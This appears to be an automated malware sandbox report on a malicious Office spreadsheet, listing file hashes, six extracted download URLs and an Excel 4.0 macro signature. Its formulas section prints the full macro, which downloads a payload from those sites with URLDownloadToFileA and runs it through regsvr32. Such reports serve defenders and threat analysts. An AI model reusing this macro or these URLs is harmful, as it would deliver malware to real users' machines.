General
-
Target
1732307b771779ee75dc630594e1810780137b2667272b0773148e9614744c6e
-
Size
45KB
-
MD5
0a7b3aeaf51d893f503b8ef662bb9d0a
-
SHA1
16632fb771069d7d6f46762e998d62a11d459ad0
-
SHA256
1732307b771779ee75dc630594e1810780137b2667272b0773148e9614744c6e
-
SHA512
bd49a7878ed0f27307fbc0ad94880d76ac5eb771dd8fe7bc1ed0af6ca71d74fda0cb3132739b80ca4cacbf3e1f5f26b0f0836d72eebfde1aed5d643137093a1e
-
SSDEEP
768:q+oDxDOevZCwrvt8zdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Ud0U2XCnM:1oDxD8tT5fTR4Lh1NisFYBc3cr+U2USz
Malware Config
Extracted
http://api.zmotpro.com/totalenvironment/logs/8wdgNaq0x/
http://aetoaluminium.com/wp-admin/gkqyKlzXoc/
http://24studypoint.com/wp-admin/3uEUtb/
https://baicc-ct.org/wp-admin/IwhcfC2sdxoToa/
https://mustknew.com/lovecalculator/osDBhPqx0tB1Vtp/
http://kiski023.com/wp-includes/Requests/Cookie/C/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://api.zmotpro.com/totalenvironment/logs/8wdgNaq0x/","..\enu.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aetoaluminium.com/wp-admin/gkqyKlzXoc/","..\enu.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://24studypoint.com/wp-admin/3uEUtb/","..\enu.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://baicc-ct.org/wp-admin/IwhcfC2sdxoToa/","..\enu.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mustknew.com/lovecalculator/osDBhPqx0tB1Vtp/","..\enu.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kiski023.com/wp-includes/Requests/Cookie/C/","..\enu.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\enu.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
1732307b771779ee75dc630594e1810780137b2667272b0773148e9614744c6e